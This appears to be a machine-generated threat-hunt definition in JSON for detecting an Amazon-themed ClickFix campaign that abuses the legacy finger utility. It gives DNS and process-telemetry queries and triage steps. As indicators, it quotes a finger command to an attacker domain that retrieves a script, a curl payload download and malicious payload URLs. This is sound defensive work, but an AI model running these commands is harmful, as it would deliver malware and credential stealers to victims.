{ "hunt": { "meta": { "tlp": "clear", "hunt": { "handoff": "promote-to-detection", "trigger": "intel-report", "methodology": "model-assisted", "applicability": "campaign-specific", "justification": "The finger utility is a legacy tool with virtually no legitimate modern use. Its presence in command-line arguments, especially with obfuscation, is a high-fidelity indicator of the ClickFix campaign." }, "name": "Amazon ClickFix Finger Utility Abuse", "type": "investigation", "labels": [ "hunt", "attack.t1190", "attack.t1218", "attack.t1071", "attack.t1115", "credential access", "defense evasion", "execution", "initial access", "persistence" ], "series": { "slug": "amazon-themed-clickfix-campaign-serves-up-finger-licking-malware", "index": 1, "title": "Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware", "total": 2 }, "related": [ { "hunt": "payload-delivery-ironpython", "reason": "This hunt focuses on the finger utility; the subsequent IronPython download and extraction stage belongs to a separate follow-on hunt.", "relation": "out-of-scope-alternative" } ], "targets": { "hunter": { "name": "Hunt agent", "agent": true }, "analyst": { "name": "Tier-2 analyst", "role": "analyst" }, "endpoint": { "name": "Endpoint telemetry (hb_ surfaces)", "category": "endpoint", "telemetry": [ "endpoint" ] } }, "analysis": "A simple rule for finger.exe exists, but this hunt uses DNS infrastructure context, command-line obfuscation checks, and fleet-wide prevalence stacking to provide the triage context required to separate an exploit attempt from accidental or legacy usage.", "coverage": [ { "stage": "initial-access-seo-lure", "steps": [ "dns-lead-campaign" ], "status": "covered" }, { "stage": "execution-finger-lolbin", "steps": [ "finger-abuse-patterns", "finger-cmdline-prevalence" ], "status": "covered" }, { "stage": "payload-delivery-ironpython", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" }, { "stage": "loader-execution-doina", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" }, { "stage": "persistence-node-js-deployment", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" }, { "stage": "credential-access-lumma", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" } ], "scenario": { "stages": [ { "name": "Amazon-themed SEO Poisoning", "slug": "initial-access-seo-lure", "tactic": "initial-access", "techniques": [ "T1190" ], "observables": [ "orders-amazon.com.advancedfences.com", "sites.google.com/view/ch-pc/sign-in", "ashevilleroofingcontractor.com", "Search keyword: 'amazon business'" ] }, { "name": "Finger LOLbin Command Execution", "slug": "execution-finger-lolbin", "tactic": "execution", "techniques": [ "T1218", "T1115" ], "observables": [ "finger.exe", "finger DLVBUCeFfF@grillrecipespro.com", "Command line obfuscated with characters: ^ , - _", "Clipboard pastejacking via 'I'm not a robot' button" ] }, { "name": "IronPython Payload Staging", "slug": "payload-delivery-ironpython", "tactic": "execution", "techniques": [ "T1218" ], "observables": [ "curl -o %TEMP%\\*.pdf github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip", "tar.exe", "ipyw32.exe", "IronPython.3.4.2.zip" ] }, { "name": "Doina Malware Loader", "slug": "loader-execution-doina", "tactic": "defense-evasion", "techniques": [ "T1055.012", "T1071" ], "observables": [ "grillmasterchef.com/90e4a147-1234-505c-a024-062e543b5df8/timer6", "grillmasterchef.com/90e4a147-1234-505c-a024-062e543b5df8/v6", "Python script using Cyrillic character substitution for Base64", "RC4 encrypted PE file 'v6'" ] }, { "name": "Node.js Environment Deployment", "slug": "persistence-node-js-deployment", "tactic": "persistence", "techniques": [ "T1071" ], "observables": [ "C:\\ProgramData\\NodeView", "kiriosyka.com/KsxmmKiN5N0j/sqr-viewertr6", "node.exe", "index.js", "Unpacking 52MB ZIP containing portable Node.js" ] }, { "name": "Lumma Stealer Infostrealt", "slug": "credential-access-lumma", "tactic": "credential-access", "techniques": [ "T1555", "T1055.012", "T1071" ], "observables": [ "Lumma Stealer memory injection via sRDI", "Websocket beaconing", "HTTPS POST profiling data containing hostname and username", "Process hollowing into legitimate system processes" ] } ], "summary": "A multi-stage ClickFix campaign uses sponsored Google search results for 'Amazon Business' to lead victims to fake login pages and CAPTCHAs that trigger pastejacked commands. These commands abuse the 'finger' utility to download a convoluted sequence of loaders, including IronPython and Node.js, which ultimately deliver Doina malware and Lumma Stealer via process hollowing." }, "severity": "high", "rationale": "Start with DNS resolutions to the lure domains, then look for any finger activity. Focus on Windows and macOS endpoints as the finger utility is a default binary on both platforms.", "guardrails": { "claims": "no_unsupported", "evidence": "citation_required", "telemetry": "untrusted", "missing_data": "not_benign" }, "hypothesis": "An adversary has lured a user to a spoofed Amazon page and pastejacked a command that uses finger.exe to download malicious payloads from a remote domain.", "parameters": { "scope_hosts": { "from": { "ref": "analyst-scoping", "kind": "manual", "observed": "2026-10-21" }, "type": "list[host]", "default": [], "description": "Hostnames found in the scoping query to focus the hunt; if empty, the entire estate is checked." }, "lookback_days": { "from": { "ref": "standard-retention", "kind": "manual", "observed": "2026-10-21" }, "type": "number", "default": "14", "description": "Days of history to examine." }, "malicious_domains": { "from": { "ref": "huntress-clickfix-finger", "kind": "article", "observed": "2026-10-21" }, "type": "list[domain]", "default": [ "orders-amazon.com.advancedfences.com", "ashevilleroofingcontractor.com", "grillrecipespro.com", "grillmasterchef.com", "kiriosyka.com" ], "description": "Infrastructure domains identified in the ClickFix campaign." } }, "provenance": { "authors": [ { "org": "huntbase.io", "name": "Huntbase hunt generation" } ], "generated": { "by": "huntbase-hunt-generation", "from": "https://www.huntress.com/blog/amazon-clickfix-finger", "gates": [ "dry-run", "lint" ], "model": "hb_google/gemini-3-flash-preview" } }, "references": [ { "url": "https://www.huntress.com/blog/amazon-clickfix-finger", "name": "Huntress \u2014 Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware" } ], "blind_spots": [ { "id": "no-finger-visibility", "risk": "Many environments do not log traffic on port 79, making it difficult to confirm if the remote connection succeeded or what content was returned.", "stage": "execution-finger-lolbin", "question": "Did the finger command successfully download the .plan payload?", "requires": "network traffic monitoring for port 79" }, { "id": "clipboard-pastejacking-blind-spot", "risk": "Without clipboard monitoring, the link between the browser interaction and the manual command execution relies on temporal correlation.", "stage": "execution-finger-lolbin", "question": "Was the command placed in the clipboard by the browser before execution?", "requires": "hb_resource_activity with clipboard focus" } ] }, "name": "Amazon ClickFix Finger Utility Abuse", "description": "Attackers use SEO poisoning to drive victims to a fake Amazon login page where a pastejacked command is copied to the clipboard. The command uses finger.exe to communicate with a remote server over port 79, retrieving a malicious script hidden within a .plan file. This hunt identifies the initial access and execution stages of a ClickFix campaign that uses the legacy finger.exe utility as a LOLbin. The hunt scopes for suspicious DNS resolutions to known campaign infrastructure, identifies obfuscated finger.exe executions, and uses a prevalence count to highlight rare command-line arguments across the environment." }, "nodes": [ { "id": "hypothesis", "type": "hypothesis", "label": "Hypothesis", "config": { "tags": [], "series": { "slug": "amazon-themed-clickfix-campaign-serves-up-finger-licking-malware", "index": 1, "title": "Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware", "total": 2 }, "coverage": [ { "stage": "initial-access-seo-lure", "steps": [ "dns-lead-campaign" ], "status": "covered" }, { "stage": "execution-finger-lolbin", "steps": [ "finger-abuse-patterns", "finger-cmdline-prevalence" ], "status": "covered" }, { "stage": "payload-delivery-ironpython", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" }, { "stage": "loader-execution-doina", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" }, { "stage": "persistence-node-js-deployment", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" }, { "stage": "credential-access-lumma", "reason": "Belongs to another part of the 'Amazon-Themed ClickFix Campaign Serves Up Finger-Licking Malware' series.", "status": "out_of_scope" } ], "rationale": "An adversary has lured a user to a spoofed Amazon page and pastejacked a command that uses finger.exe to download malicious payloads from a remote domain.", "blind_spots": [ { "id": "no-finger-visibility", "risk": "Many environments do not log traffic on port 79, making it difficult to confirm if the remote connection succeeded or what content was returned.", "stage": "execution-finger-lolbin", "question": "Did the finger command successfully download the .plan payload?", "requires": "network traffic monitoring for port 79" }, { "id": "clipboard-pastejacking-blind-spot", "risk": "Without clipboard monitoring, the link between the browser interaction and the manual command execution relies on temporal correlation.", "stage": "execution-finger-lolbin", "question": "Was the command placed in the clipboard by the browser before execution?", "requires": "hb_resource_activity with clipboard focus" } ], "scoping_notes": "Start with DNS resolutions to the lure domains, then look for any finger activity. Focus on Windows and macOS endpoints as the finger utility is a default binary on both platforms.", "beyond_detection": "A simple rule for finger.exe exists, but this hunt uses DNS infrastructure context, command-line obfuscation checks, and fleet-wide prevalence stacking to provide the triage context required to separate an exploit attempt from accidental or legacy usage." } }, { "id": "dns-lead-campaign", "type": "query", "label": "DNS resolutions to campaign domains", "config": { "dsl": "sqlite", "role": "scoping", "source": "endpoint", "content": "SELECT device_hostname, query_hostname, process_name, time FROM hb_dns_activity WHERE instr(',' || '{{malicious_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_dns_activity", "description": "Identify hosts resolving the initial lure or delivery domains associated with the BBQ-themed infrastructure.", "expected_signal": "A hostname resolving one of the reported domains. Silence indicates no interaction with the known infrastructure." }, "parents": [ { "id": "hypothesis" } ], "primitive_config": { "dsl": "sqlite", "role": "scoping", "label": "DNS resolutions to campaign domains", "reads": [ "device_hostname", "query_hostname", "process_name", "time" ], "source": "hb_dns_activity", "target": "endpoint", "content": "SELECT device_hostname, query_hostname, process_name, time FROM hb_dns_activity WHERE instr(',' || '{{malicious_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "A hostname resolving one of the reported domains. Silence indicates no interaction with the known infrastructure.", "verified": "dry-run", "verified_at": "2026-10-22" } }, { "id": "finger-abuse-patterns", "type": "query", "label": "Obfuscated or remote finger execution", "config": { "dsl": "sqlite", "role": "detection-candidate", "source": "endpoint", "content": "SELECT device_hostname, process_cmd_line, parent_process_name, time FROM hb_process_activity WHERE (LOWER(process_name) LIKE '%finger' OR LOWER(process_name) LIKE '%finger.exe') AND (process_cmd_line LIKE '%@%' OR instr(process_cmd_line, '^') > 0 OR instr(process_cmd_line, ',') > 0 OR instr(process_cmd_line, '-') > 0 OR instr(process_cmd_line, '_') > 0) AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_process_activity", "description": "Find finger executions that include an @ symbol for remote connections or command-line obfuscation characters used in this campaign.", "expected_signal": "A process row showing the finger utility targeting a remote user or using shell-escape characters. Silence is expected as finger is a legacy tool." }, "parents": [ { "id": "dns-lead-campaign" } ], "primitive_config": { "dsl": "sqlite", "role": "detection-candidate", "label": "Obfuscated or remote finger execution", "reads": [ "device_hostname", "process_cmd_line", "parent_process_name", "time" ], "source": "hb_process_activity", "target": "endpoint", "content": "SELECT device_hostname, process_cmd_line, parent_process_name, time FROM hb_process_activity WHERE (LOWER(process_name) LIKE '%finger' OR LOWER(process_name) LIKE '%finger.exe') AND (process_cmd_line LIKE '%@%' OR instr(process_cmd_line, '^') > 0 OR instr(process_cmd_line, ',') > 0 OR instr(process_cmd_line, '-') > 0 OR instr(process_cmd_line, '_') > 0) AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "A process row showing the finger utility targeting a remote user or using shell-escape characters. Silence is expected as finger is a legacy tool.", "verified": "dry-run", "verified_at": "2026-10-22" } }, { "id": "finger-cmdline-prevalence", "type": "query", "label": "Rare finger command lines", "config": { "dsl": "sqlite", "role": "baseline", "source": "endpoint", "content": "SELECT LOWER(process_cmd_line) AS cmd, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_process_activity WHERE (LOWER(process_name) LIKE '%finger' OR LOWER(process_name) LIKE '%finger.exe') AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY cmd HAVING hosts <= 3", "surface": "hb_process_activity", "description": "Stack-count finger command lines to identify rare or unique activity that deviates from standard administrative use.", "expected_signal": "Unique or rare finger commands that appear on only a few hosts. High counts likely indicate legacy scripts." }, "parents": [ { "id": "dns-lead-campaign" } ], "primitive_config": { "dsl": "sqlite", "role": "baseline", "label": "Rare finger command lines", "reads": [ "process_cmd_line", "device_hostname", "time" ], "source": "hb_process_activity", "target": "endpoint", "content": "SELECT LOWER(process_cmd_line) AS cmd, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_process_activity WHERE (LOWER(process_name) LIKE '%finger' OR LOWER(process_name) LIKE '%finger.exe') AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY cmd HAVING hosts <= 3", "silence": "not_evidence_of_absence", "baseline": { "window": "{{lookback_days}}d", "compare": "first_seen" }, "expected": "Unique or rare finger commands that appear on only a few hosts. High counts likely indicate legacy scripts.", "verified": "dry-run", "prevalence": { "by": "device_hostname", "key": [ "process_cmd_line" ], "rare_below": 3 }, "verified_at": "2026-10-22" } }, { "id": "triage-evidence", "type": "analytic", "label": "Triage ClickFix evidence", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "dns-lead-campaign", "finger-abuse-patterns", "finger-cmdline-prevalence" ], "objective": "Determine if a host resolving campaign DNS domains also executed a suspicious finger command. Explicitly verify that the DNS resolution to campaign domains occurred shortly before the finger execution on the same host, indicating a successful pastejacking attack.", "description": "Synthesize DNS resolutions and process activity to confirm a successful ClickFix infection attempt.", "max_iterations": 6, "expected_signal": "A synthesized view of host behavior across DNS and process surfaces.", "success_criteria": "A per-host verdict of malicious, suspicious, or benign citing the specific command line and domains." }, "parents": [ { "id": "finger-abuse-patterns", "kind": "merge" }, { "id": "finger-cmdline-prevalence", "kind": "merge" } ] }, { "id": "route-on-verdict", "type": "checkpoint", "label": "Route on verdict", "config": { "fuzzy": true, "judge": "hunter", "question": "the triage-evidence verdict is malicious for at least one host", "condition": "the triage-evidence verdict is malicious for at least one host", "blind_spot": "no-finger-visibility", "confidence": "high", "description": "Direct the workflow based on the agent's verdict.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "triage-evidence" } ] }, { "id": "contain-host", "type": "action", "label": "Isolate host", "config": { "target": "endpoint", "description": "Stop the attack before follow-on payloads like Doina or Lumma Stealer are deployed.", "instructions": "Isolate the host and collect any temporary files with a .pdf extension from the user's Temp directory.", "action_approval": "required" }, "parents": [ { "id": "route-on-verdict", "branch": "on_supports" } ] }, { "id": "analyst-review", "type": "task", "label": "Analyst review", "config": { "assignee": "analyst", "description": "Review findings and perform manual forensics on identified hosts.", "instructions": "Confirm if the finger utility retrieved a .plan file. Inspect C:\\ProgramData for subfolders like NodeView or IronPython. Record whether the user visited the Google Sites lure." }, "parents": [ { "id": "route-on-verdict", "branch": "default" }, { "id": "route-on-verdict", "branch": "on_unavailable" }, { "id": "contain-host" } ] }, { "id": "close-out", "type": "task", "label": "Close out", "config": { "assignee": "analyst", "description": "Finalize the hunt and document any remediation steps.", "instructions": "Document the investigation. Recommend blocking TCP port 79 at the network perimeter." }, "parents": [ { "id": "route-on-verdict", "branch": "on_refutes" }, { "id": "analyst-review" } ] } ] }